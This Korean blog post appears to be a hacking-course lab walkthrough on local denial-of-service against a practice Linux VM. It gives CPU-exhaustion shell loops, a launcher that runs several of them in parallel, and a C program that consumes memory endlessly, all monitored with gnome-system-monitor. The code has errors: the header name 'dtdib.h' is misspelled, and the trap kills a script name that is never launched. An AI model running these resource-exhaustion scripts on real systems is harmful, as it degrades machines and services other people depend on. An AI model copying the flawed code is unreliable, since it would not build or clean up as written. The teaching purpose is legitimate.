로컬 시스템 부하 공격(Dos Attack)
스크립트를 이용하여 CPU 부하를 발생하여 gnome-system-monitor 내용을 확인
<Linux200>
gnome-system-monitor
# gnome-system monitor &
Ex1) 로컬 시스템 부하 공격 1 <Linux200>
# mkdir /test ; cd /test # vi cpu1.sh
START=0 END=10000000 while [ $START -le $END ] do START=`expr $START + 1` done # chmod +x cpu1.sh # ./cpu1.sh (ctrl+c)
Ex2) 로컬 시스템 부하 공격 2 <Linux200>
# vi cpu2.sh while true do a=1 done # chmod +x cpu2.sh # ./cpu2.sh (ctrl+c)
Ex3) 로컬 시스템 부하 공격 3 <Linux200>
# vi cpu3.sh
trap 'killall cpu.sh ; exit 1' 2 3 ./cpu1.sh & sleep 10 ./cpu1.sh & sleep 10 ./cpu1.sh & sleep 10 ./cpu1.sh & sleep 3600 trap 2 3 # chmod +x cpu3.sh # ./cpu3.sh (ctrl+c)
Ex4) 로컬 시스템 부하 공격 4
<Linux200>
Linux200 메모리를 4G이상으로 조정.
gcc 패키지 설치
# yum -y install gcc
메모리 정보 확인
# free
# top -n 1 | grep Mem
메모리 부하 발생 스크립트 생성
# vi mem.c
#include<stdio.h> #include<dtdib.h> main() { char *m; printf("ctrl+c will terminate mem process\n"); while (1) m=malloc(1); } |
# gcc -o mem mem.c
# ls
cpu1.sh cpu2.sh cpu3.sh mem mem.c
[TERM1]
# ./mem
ctrl+c will terminate mem process
메모리 사용율이 80% 초과되기 이전에 'mem' 프로그램 실행 중지
[TERM2]
# free
# top -n 1 | grep Mem
[TERM1]
# ./mem
ctrl+c will terminate mem process
(ctrl+c)
'Learning > └◆Network Hacking' 카테고리의 다른 글
네트워크 해킹 - 09. Packet Sniffing 공격 (0) | 2017.01.22 |
---|---|
네트워크 해킹 - 08. Brute Force & Dictionary Attack (0) | 2017.01.22 |
네트워크 해킹 - 06. TCP Syn Flooding Attack (Dos Attack) (0) | 2017.01.22 |
네트워크 해킹 - 05. ICMP LAND Attack (Dos Attack) (0) | 2017.01.22 |